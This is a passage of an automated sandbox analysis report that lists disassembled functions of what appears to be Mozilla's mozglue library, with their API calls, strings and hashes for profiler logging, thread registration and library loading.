getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C7A4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C7A4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C7A482D
__Init_thread_footer.LIBCMT ref: 6C7A484A

Part of subcall function 6C7CAB3F: EnterCriticalSection.KERNEL32(6C81E370,?,?,6C793527,6C81F6CC,?,?,?,?,?,?,?,?,6C793284), ref: 6C7CAB49
Part of subcall function 6C7CAB3F: LeaveCriticalSection.KERNEL32(6C81E370,?,6C793527,6C81F6CC,?,?,?,?,?,?,?,?,6C793284,?,?,6C7B56F6), ref: 6C7CAB7C

GetCurrentThreadId.KERNEL32 ref: 6C7A485F
GetCurrentThreadId.KERNEL32 ref: 6C7A487E
AcquireSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7A488B
free.MOZGLUE(?), ref: 6C7A493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7A4956
free.MOZGLUE(00000000), ref: 6C7A4960
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7A499A

Part of subcall function 6C7CAB89: EnterCriticalSection.KERNEL32(6C81E370,?,?,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284), ref: 6C7CAB94
Part of subcall function 6C7CAB89: LeaveCriticalSection.KERNEL32(6C81E370,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284,?,?,6C7B56F6), ref: 6C7CABD1

free.MOZGLUE(?), ref: 6C7A49C6
free.MOZGLUE(?), ref: 6C7A49E9

Part of subcall function 6C7B5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C7B5EDB
Part of subcall function 6C7B5E90: memset.VCRUNTIME140(6C7F7765,000000E5,55CCCCCC), ref: 6C7B5F27
Part of subcall function 6C7B5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C7B5FB2

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C7A4828
MOZ_PROFILER_SHUTDOWN, xrefs: 6C7A4A42
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C7A47FC
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C7A4812
[I %d/%d] profiler_shutdown, xrefs: 6C7A4A06

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 3871954940e62cea960938981cd52dfcb687942b011a4e7819e1379a30142b19
Instruction ID: 2c34aa34eb5751abe4c1ef7ec38eb0a2ba307e241bfa40a2466a26b605f3de79
Opcode Fuzzy Hash: 3871954940e62cea960938981cd52dfcb687942b011a4e7819e1379a30142b19
Instruction Fuzzy Hash: C2814671A001028FDB20DFA9DA4971A37F5BB5231CF140739E80697F42DB32E856DB9A

Function 6C7A4470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7A4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C7A44B2,6C81E21C,6C81F7F8), ref: 6C7A473E
Part of subcall function 6C7A4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C7A474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C7A44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C7A44D2
InitOnceExecuteOnce.KERNEL32(6C81F80C,6C79F240,?,?), ref: 6C7A451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C7A455C
LoadLibraryW.KERNEL32(?), ref: 6C7A4592
InitializeCriticalSection.KERNEL32(6C81F770), ref: 6C7A45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C7A45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C7A45BB
InitOnceExecuteOnce.KERNEL32(6C81F818,6C79F240,?,?), ref: 6C7A4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C7A4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C7A4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C7A466D
VerSetConditionMask.NTDLL ref: 6C7A469F
VerSetConditionMask.NTDLL ref: 6C7A46AB
VerSetConditionMask.NTDLL ref: 6C7A46B2
VerSetConditionMask.NTDLL ref: 6C7A46B9
VerSetConditionMask.NTDLL ref: 6C7A46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C7A46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C7A46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C7A46FD

Strings

kernel32.dll, xrefs: 6C7A44CD
l, xrefs: 6C7A4578
NativeNtBlockSet_Write, xrefs: 6C7A46F7
user32.dll, xrefs: 6C7A4557, 6C7A463F
WRusr.dll, xrefs: 6C7A44B5

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: d16f652bb06d67063696c908db9d6767ccf880fe8d7ca4c7f91253fbad8de341
Instruction ID: a5953d5994d2a085fb187792c6a6d2d62bec603b942f0b605ba683c3c492a651
Opcode Fuzzy Hash: d16f652bb06d67063696c908db9d6767ccf880fe8d7ca4c7f91253fbad8de341
Instruction Fuzzy Hash: B361E8B06042459FEB209FA0CE0ABA57BF8EF5630CF048A78E5049BF51D7B19546CF91

Function 6C7DF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7A4A68), ref: 6C7D945E
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C7D9470
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C7D9482
Part of subcall function 6C7D9420: __Init_thread_footer.LIBCMT ref: 6C7D949F

GetCurrentThreadId.KERNEL32 ref: 6C7DF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C7DF8F9

Part of subcall function 6C7A6390: GetCurrentThreadId.KERNEL32 ref: 6C7A63D0
Part of subcall function 6C7A6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C7A63DF
Part of subcall function 6C7A6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C7A640E

ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DF93A
GetCurrentThreadId.KERNEL32 ref: 6C7DF98A
GetCurrentThreadId.KERNEL32 ref: 6C7DF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7DF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7DF716

Part of subcall function 6C7D94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7D94EE
Part of subcall function 6C7D94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C7D9508

Part of subcall function 6C79B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C79B5E0

GetCurrentThreadId.KERNEL32 ref: 6C7DF739
AcquireSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DF746
GetCurrentThreadId.KERNEL32 ref: 6C7DF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C81385B,00000002,?,?,?,?,?), ref: 6C7DF829
free.MOZGLUE(?,?,00000000,?), ref: 6C7DF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C7DF866
free.MOZGLUE(?), ref: 6C7DFA0C

Part of subcall function 6C7A5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7A55E1), ref: 6C7A5E8C
Part of subcall function 6C7A5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7A5E9D
Part of subcall function 6C7A5E60: GetCurrentThreadId.KERNEL32 ref: 6C7A5EAB
Part of subcall function 6C7A5E60: GetCurrentThreadId.KERNEL32 ref: 6C7A5EB8
Part of subcall function 6C7A5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7A5ECF
Part of subcall function 6C7A5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C7A5F27
Part of subcall function 6C7A5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C7A5F47
Part of subcall function 6C7A5E60: GetCurrentProcess.KERNEL32 ref: 6C7A5F53
Part of subcall function 6C7A5E60: GetCurrentThread.KERNEL32 ref: 6C7A5F5C
Part of subcall function 6C7A5E60: GetCurrentProcess.KERNEL32 ref: 6C7A5F66
Part of subcall function 6C7A5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C7A5F7E

free.MOZGLUE(?), ref: 6C7DF9C5
free.MOZGLUE(?), ref: 6C7DF9DA

Strings

Thread , xrefs: 6C7DF789
[D %d/%d] profiler_register_thread(%s), xrefs: 6C7DF71F
" attempted to re-register as ", xrefs: 6C7DF858
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C7DF9A6

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 41585a08435a81ebd4ad462a3fc1d72939fcb939d4a02b86cc4ab90df639e281
Instruction ID: ee7e3895d886c5182a4ebe82f581cf1fa6ed467c43cbc19d2987355ef31dd6f1
Opcode Fuzzy Hash: 41585a08435a81ebd4ad462a3fc1d72939fcb939d4a02b86cc4ab90df639e281
Instruction Fuzzy Hash: 86811771A043019FD720DF24CA48BAABBF5EF85308F45456DE8499BB51EB30E949CBD2

Function 6C7DEE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7A4A68), ref: 6C7D945E
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C7D9470
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C7D9482
Part of subcall function 6C7D9420: __Init_thread_footer.LIBCMT ref: 6C7D949F

GetCurrentThreadId.KERNEL32 ref: 6C7DEE60
AcquireSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DEE6D
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DEE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C7DEEA5
CloseHandle.KERNEL32(?), ref: 6C7DEEB4
free.MOZGLUE(00000000), ref: 6C7DEEBB
GetCurrentThreadId.KERNEL32 ref: 6C7DEEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7DEECF

Part of subcall function 6C7DDE60: GetCurrentThreadId.KERNEL32 ref: 6C7DDE73
Part of subcall function 6C7DDE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C7A4A68), ref: 6C7DDE7B
Part of subcall function 6C7DDE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C7A4A68), ref: 6C7DDEB8
Part of subcall function 6C7DDE60: free.MOZGLUE(00000000,?,6C7A4A68), ref: 6C7DDEFE
Part of subcall function 6C7DDE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C7DDF38

Part of subcall function 6C7CCBE8: GetCurrentProcess.KERNEL32(?,6C7931A7), ref: 6C7CCBF1
Part of subcall function 6C7CCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C7931A7), ref: 6C7CCBFA

GetCurrentThreadId.KERNEL32 ref: 6C7DEF1E
AcquireSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DEF2B
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DEF59
GetCurrentThreadId.KERNEL32 ref: 6C7DEFB0
AcquireSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DEFBD
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DEFE1
GetCurrentThreadId.KERNEL32 ref: 6C7DEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7DF000

Part of subcall function 6C7D94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7D94EE
Part of subcall function 6C7D94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C7D9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C7DF02F

Part of subcall function 6C7DF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C7DF09B
Part of subcall function 6C7DF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C7DF0AC
Part of subcall function 6C7DF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C7DF0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C7DEED7
[I %d/%d] profiler_pause, xrefs: 6C7DF008

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: cf9e687f0fd278a9ecdf8cc44ab07f61bb09f76968cb7da30c8e99fc953db022
Instruction ID: a73215d5030dc057c48ccb8216c52f67a195589160273597b927aaa026e450a6
Opcode Fuzzy Hash: cf9e687f0fd278a9ecdf8cc44ab07f61bb09f76968cb7da30c8e99fc953db022
Instruction Fuzzy Hash: 615148716042179FEB219F66D60E7A67BF8EB6632CF110579E91983F41CB306804C7E2

Function 6C7A7FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C7A8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C7A801D

Part of subcall function 6C7ACA10: malloc.MOZGLUE(?), ref: 6C7ACA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C7A802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C7A803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C7A808D

Part of subcall function 6C7ACA10: mozalloc_abort.MOZGLUE(?), ref: 6C7ACAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C7A809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C7A80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C7A80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7A80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7A80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7A810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C7A8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C7A8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C7A8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C7A817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7A8199

Strings

0>}l, xrefs: 6C7A811E

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>}l
API String ID: 2721933968-554681839
Opcode ID: 0b99740a1239d53b2f59b553611e9c719a70bc6777faefd16bf33f47492199cc
Instruction ID: 1b00cdd2cb636683e568dae2b42b515390ce0086be39b3a6c386f45ee7506b0e
Opcode Fuzzy Hash: 0b99740a1239d53b2f59b553611e9c719a70bc6777faefd16bf33f47492199cc
Instruction Fuzzy Hash: AB5194B1E002449BDB10DFA9DD84AEFB7B9EF49264F140239E815E7741E730A905CBA1

Function 6C7A5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7A5E9D

Part of subcall function 6C7B5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C7B56EE,?,00000001), ref: 6C7B5B85
Part of subcall function 6C7B5B50: EnterCriticalSection.KERNEL32(6C81F688,?,?,?,6C7B56EE,?,00000001), ref: 6C7B5B90
Part of subcall function 6C7B5B50: LeaveCriticalSection.KERNEL32(6C81F688,?,?,?,6C7B56EE,?,00000001), ref: 6C7B5BD8
Part of subcall function 6C7B5B50: GetTickCount64.KERNEL32 ref: 6C7B5BE4

GetCurrentThreadId.KERNEL32 ref: 6C7A5EAB
GetCurrentThreadId.KERNEL32 ref: 6C7A5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7A5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C7A6017

Part of subcall function 6C794310: moz_xmalloc.MOZGLUE(00000010,?,6C7942D2), ref: 6C79436A
Part of subcall function 6C794310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C7942D2), ref: 6C794387

moz_xmalloc.MOZGLUE(00000004), ref: 6C7A5F47
GetCurrentProcess.KERNEL32 ref: 6C7A5F53
GetCurrentThread.KERNEL32 ref: 6C7A5F5C
GetCurrentProcess.KERNEL32 ref: 6C7A5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C7A5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C7A5F27

Part of subcall function 6C7ACA10: mozalloc_abort.MOZGLUE(?), ref: 6C7ACAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7A55E1), ref: 6C7A5E8C

Part of subcall function 6C7ACA10: malloc.MOZGLUE(?), ref: 6C7ACA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7A55E1), ref: 6C7A605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7A55E1), ref: 6C7A60CC

Strings

GeckoMain, xrefs: 6C7A5ECE, 6C7A6015

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: ac96d18bd0fd188dbde771bee873cabf641b37dec44ffae55d47fe3052004c45
Instruction ID: a2384093c9c988eed4569191dffbb27144f868f3d0cebe2303411463442f0a47
Opcode Fuzzy Hash: ac96d18bd0fd188dbde771bee873cabf641b37dec44ffae55d47fe3052004c45
Instruction Fuzzy Hash: 777101B06047419FD710DF69D584A6ABBF0FF59308F004A7DE48687B42D730E989CB92

Function 6C7A9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7931C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C793217
Part of subcall function 6C7931C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C793236
Part of subcall function 6C7931C0: FreeLibrary.KERNEL32 ref: 6C79324B
Part of subcall function 6C7931C0: __Init_thread_footer.LIBCMT ref: 6C793260
Part of subcall function 6C7931C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C79327F
Part of subcall function 6C7931C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C79328E
Part of subcall function 6C7931C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C7932AB
Part of subcall function 6C7931C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C7932D1
Part of subcall function 6C7931C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C7932E5
Part of subcall function 6C7931C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C7932F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C7A9675
__Init_thread_footer.LIBCMT ref: 6C7A9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C7A96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C7A9707
__Init_thread_footer.LIBCMT ref: 6C7A971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C7A9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C7A97B7
FreeLibrary.KERNEL32 ref: 6C7A97D0
FreeLibrary.KERNEL32 ref: 6C7A97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C7A9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C7A9670
ntdll.dll, xrefs: 6C7A96E3
NtMapViewOfSection, xrefs: 6C7A9701
MapViewOfFileNuma2, xrefs: 6C7A97B1

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 97d23599226d09b42dc1717ea9c7e46d4c3a4a33debf6ea1abd1d38ef2d9ac0c
Instruction ID: b8c4a2cc9ce97396711eea9cb74b539df2146fbd9dd8df3cd4c9e28299921230
Opcode Fuzzy Hash: 97d23599226d09b42dc1717ea9c7e46d4c3a4a33debf6ea1abd1d38ef2d9ac0c
Instruction Fuzzy Hash: 4161B5717042429BDF20CFA4DA89A9A7BF1EB6B318F104A39F91583F50D7319855CBD1

